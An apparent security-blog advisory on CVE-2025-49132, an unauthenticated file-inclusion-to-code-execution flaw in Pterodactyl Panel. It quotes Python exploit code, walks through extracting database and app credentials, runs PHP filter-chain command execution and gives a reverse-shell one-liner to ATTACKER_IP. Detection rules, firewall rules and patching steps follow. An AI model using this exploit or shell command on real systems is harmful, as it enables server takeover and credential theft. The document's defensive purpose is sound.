CVE-2025-49132: Critical Unauthenticated RCE in Pterodactyl Game Server Panel
Executive Summary
CVE-2025-49132 represents one of the most severe vulnerabilities discovered in 2025, affecting Pterodactyl Panel—a widely-used open-source game server management platform. This CRITICAL vulnerability, scoring a perfect 10.0 on the CVSS scale, allows completely unauthenticated attackers to achieve remote code execution through a Local File Inclusion (LFI) flaw in the /locales/locale.json endpoint.
The vulnerability affects all Pterodactyl Panel installations running versions 1.11.10 and below, putting thousands of gaming communities and hosting providers at immediate risk. Successful exploitation grants attackers complete control over the panel server, access to database credentials, and the ability to compromise all managed game servers.
What's at Risk:
- Gaming Infrastructure: Complete compromise of game server management panels
- Sensitive Data: Database credentials, application keys, user information
- Managed Servers: Access to all game servers controlled by the panel
- Business Operations: Potential ransomware deployment and service disruption
The severity is compounded by the fact that no authentication is required, making this an ideal target for automated attacks and mass exploitation campaigns.
Technical Deep Dive
Vulnerability Mechanics
CVE-2025-49132 exploits a critical flaw in Pterodactyl Panel's locale handling mechanism. The vulnerability exists in the /locales/locale.json endpoint, which processes user-supplied locale and namespace parameters without proper validation or sanitization.
Root Cause Analysis:
- Missing Input Validation: The
localeparameter accepts arbitrary strings without path traversal filtering - Unsafe File Operations: The application directly uses user input to construct file paths
- Authentication Bypass: The endpoint processes requests without requiring valid authentication tokens
Attack Vector Flow:
Client Request → /locales/locale.json?locale=../../../pterodactyl&namespace=config/database
↓
Parameter Processing → locale="../../../pterodactyl", namespace="config/database"
↓
File Path Construction → /path/to/pterodactyl/config/database.php
↓
File Content Extraction → Database credentials exposed in JSON response
↓
Privilege Escalation → Full panel compromise via leaked credentials
Technical Implementation Details
The vulnerability leverages Laravel's configuration system, which Pterodactyl Panel uses for managing application settings. When processing locale requests, the application performs the following operations:
- Parameter Extraction: Retrieves
localeandnamespacefrom query parameters - Path Construction: Builds file paths using unsanitized input
- File Reading: Accesses configuration files and returns contents as JSON
- Response Generation: Exposes sensitive configuration data in API responses
The critical flaw lies in the lack of path traversal protection, allowing attackers to access any readable file on the system, including:
- Database configuration files (
config/database.php) - Application keys (
config/app.php) - Panel-specific settings (
config/pterodactyl.php) - Mail server credentials (
config/mail.php)
From LFI to RCE
While the initial vulnerability provides Local File Inclusion capabilities, skilled attackers can escalate this to Remote Code Execution using PHP filter chains. This technique leverages PHP's built-in stream filters to execute arbitrary code without requiring file write permissions.
PoC Analysis
Security researcher YoyoChaud has published a comprehensive proof-of-concept exploit on GitHub that demonstrates the full attack chain from initial vulnerability detection to remote code execution.
PoC Repository: https://github.com/YoyoChaud/CVE-2025-49132
The exploit tool provides multiple attack modes and has gained significant attention in the security community (18 stars at time of writing). Let's examine the key components:
Core Exploit Implementation
#!/usr/bin/env python3
"""CVE-2025-49132 - Pterodactyl Panel Exploit"""
import argparse
import json
import sys
import base64
import hashlib
import hmac
import os
import re
import subprocess
import shutil
from urllib.parse import quote
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class PterodactylExploit:
def __init__(self, target, verify_ssl=False, timeout=10, pear_dir="/usr/share/php"):
self.target = target.rstrip("/")
if not self.target.startswith("http"):
self.target = f"http://{self.target}"
self.verify = verify_ssl
self.timeout = timeout
self.session = requests.Session()
self.session.verify = verify_ssl
self.session.headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
self.pear_dir = pear_dir.rstrip("/")
def _read_config(self, namespace, locale="../../../pterodactyl"):
url = f"{self.target}/locales/locale.json"
params = {"locale": locale, "namespace": namespace}
try:
r = self.session.get(url, params=params, timeout=self.timeout)
if r.status_code == 200:
data = r.json()
key = list(data.keys())[0]
inner = data[key]
ns_key = list(inner.keys())[0]
return inner[ns_key]
except Exception:
pass
return None
def check_vuln(self):
url = f"{self.target}/locales/locale.json"
try:
r = self.session.get(url, params={"locale": "en", "namespace": "validation"}, timeout=self.timeout)
if r.status_code == 200 and "hash=" not in r.url:
return True
except Exception:
pass
return False
Configuration Extraction Module
def extract_configs(self):
configs = {
"database": "config/database",
"app": "config/app",
"pterodactyl": "config/pterodactyl",
"mail": "config/mail"
}
extracted = {}
for name, path in configs.items():
config = self._read_config(path)
if config:
extracted[name] = config
return extracted
RCE via PHP Filter Chains
The most sophisticated component of the exploit implements remote code execution through PHP filter chain manipulation:
def rce_filter_chain(self, command):
if not self.filter_chain_bin:
# Download filter chain generator
self._get_filter_chain_generator()
if not self.filter_chain_bin:
return None
# Generate PHP filter chain for command execution
cmd = [self.filter_chain_bin, f"<?php system('{command}'); ?>"]
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode == 0:
chain = result.stdout.strip()
locale = f"php://filter/{chain}/resource=/etc/passwd"
status, response = self._raw_lfi(locale, "x")
return self._extract_command_output(response)
return None
Exploitation Walkthrough
Step 1: Environment Setup
First, set up the exploitation environment:
# Clone the PoC repository
git clone https://github.com/YoyoChaud/CVE-2025-49132.git
cd CVE-2025-49132
# Install dependencies
pip3 install requests urllib3
# Make exploit executable
chmod +x exploit.py
Step 2: Vulnerability Detection
# Basic vulnerability check
python3 exploit.py --target https://pterodactyl.example.com --check
# Expected output for vulnerable systems:
[*] Target: https://pterodactyl.example.com
[+] Endpoint accessible without hash parameter
[+] TARGET IS VULNERABLE
Step 3: Configuration Extraction
# Extract all configuration files
python3 exploit.py --target https://pterodactyl.example.com --dump
# This reveals:
# - Database credentials (MySQL/MariaDB)
# - Application encryption keys
# - Redis authentication details
# - SMTP server credentials
Step 4: Remote Code Execution
# Execute system commands
python3 exploit.py --target https://pterodactyl.example.com --rce "whoami"
python3 exploit.py --target https://pterodactyl.example.com --rce "id"
python3 exploit.py --target https://pterodactyl.example.com --rce "uname -a"
# Establish reverse shell
python3 exploit.py --target https://pterodactyl.example.com --rce "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
Step 5: Privilege Escalation
Once code execution is achieved, attackers typically:
- Database Access: Use extracted credentials to access the MySQL/MariaDB database
- User Enumeration: Query user tables to identify administrative accounts
- Credential Harvesting: Extract password hashes for offline cracking
- Lateral Movement: Access managed game servers through stored SSH keys
Detection & Monitoring
YARA Rule for Threat Hunting
rule CVE_2025_49132_Pterodactyl_LFI_RCE {
meta:
description = "Detects CVE-2025-49132 Pterodactyl Panel LFI/RCE exploit patterns"
author = "ilovethreats"
date = "2025-01-01"
cve = "CVE-2025-49132"
severity = "critical"
reference = "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-49132"
strings:
$locale_endpoint = "/locales/locale.json"
$traversal1 = "../../../pterodactyl"
$traversal2 = "....//....//....//pterodactyl"
$config_db = "config/database"
$config_app = "config/app"
$config_ptero = "config/pterodactyl"
$config_mail = "config/mail"
$php_filter = "php://filter/"
$filter_chain = "filter-chain"
$base64_convert = "convert.base64-encode"
$pear_exploit = "PEAR_Installer"
$user_agent = "User-Agent:" nocase
$namespace_param = "namespace="
condition:
$locale_endpoint and (
any of ($traversal*) or
any of ($config_*) or
($php_filter and $filter_chain) or
($base64_convert and $namespace_param)
)
}
Web Application Firewall Rules
# Nginx ModSecurity rules
SecRule REQUEST_URI "@contains /locales/locale.json" \
"id:2025049132001,\
phase:1,\
block,\
msg:'CVE-2025-49132 - Pterodactyl Panel LFI Attempt',\
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
severity:'CRITICAL',\
rev:'1',\
ver:'1.0',\
maturity:'1',\
accuracy:'8',\
t:none,\
ctl:auditLogParts=+E,\
tag:'attack-lfi',\
tag:'cve-2025-49132',\
chain"
SecRule ARGS:locale "@contains ../" \
"t:urlDecodeUni,\
setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}',\
setvar:tx.lfi_attack=1"
SIEM Detection Rules
# Splunk Search
index=web_logs "/locales/locale.json"
| where like(uri_query, "%../%") OR like(uri_query, "%config/%") OR like(uri_query, "%php://filter%")
| eval severity="CRITICAL", cve="CVE-2025-49132"
| table _time, src_ip, uri, uri_query, user_agent, severity, cve
# Elasticsearch Query
{
"query": {
"bool": {
"must": [
{"match": {"request.uri": "/locales/locale.json"}},
{"bool": {
"should": [
{"wildcard": {"request.query": "*../*"}},
{"wildcard": {"request.query": "*config/*"}},
{"wildcard": {"request.query": "*php://filter*"}}
]
}}
]
}
}
}
Remediation Guidance
Immediate Actions Required
Emergency Patching
# Upgrade to patched version immediately cd /var/www/pterodactyl php artisan down --message="Security maintenance in progress" # Backup current installation tar -czf pterodactyl-backup-$(date +%Y%m%d).tar.gz /var/www/pterodactyl # Update to version 1.11.11 or later composer update pterodactyl/panel php artisan migrate --seed --force php artisan upVersion Verification
# Check current version cd /var/www/pterodactyl php artisan pterodactyl:version # Ensure version is 1.11.11 or higher
Security Hardening
Web Application Firewall (WAF) Implementation
- Deploy CloudFlare, AWS WAF, or similar protection
- Block requests containing directory traversal patterns
- Monitor for suspicious locale parameter values
Network Segmentation
# Restrict access to panel interface iptables -A INPUT -p tcp --dport 80 -s TRUSTED_NETWORK/24 -j ACCEPT iptables -A INPUT -p tcp --dport 443 -s TRUSTED_NETWORK/24 -j ACCEPT iptables -A INPUT -p tcp --dport 80 -j DROP iptables -A INPUT -p tcp --dport 443 -j DROPFile System Permissions
# Restrict configuration file access chmod 600 /var/www/pterodactyl/config/*.php chown root:www-data /var/www/pterodactyl/config/*.php
Long-term Security Measures
- Regular Security Updates: Implement automated update mechanisms for critical security patches
- Security Monitoring: Deploy comprehensive logging and alerting for unusual access patterns
- Access Control: Implement IP allowlisting for administrative interfaces
- Backup Strategy: Maintain secure, offline backups of configuration and data
Incident Response Actions
If exploitation is suspected:
Immediate Isolation
# Isolate the affected server iptables -A INPUT -j DROP iptables -A OUTPUT -j DROPForensic Preservation
# Create memory dump dd if=/proc/kcore of=/forensics/memory.dump # Preserve log files cp -r /var/log/* /forensics/logs/Credential Rotation
- Change all database passwords
- Regenerate application keys
- Reset user passwords
- Revoke and reissue API tokens
References
- CVE Details: NVD CVE-2025-49132
- Vendor Advisory: Pterodactyl Security Advisory
- Proof of Concept: GitHub - YoyoChaud/CVE-2025-49132
- CWE Reference: CWE-94: Code Injection
- OWASP: Path Traversal Testing Guide
This analysis was prepared by the ilovethreats.com research team. For questions or additional information about CVE-2025-49132, contact our security research team.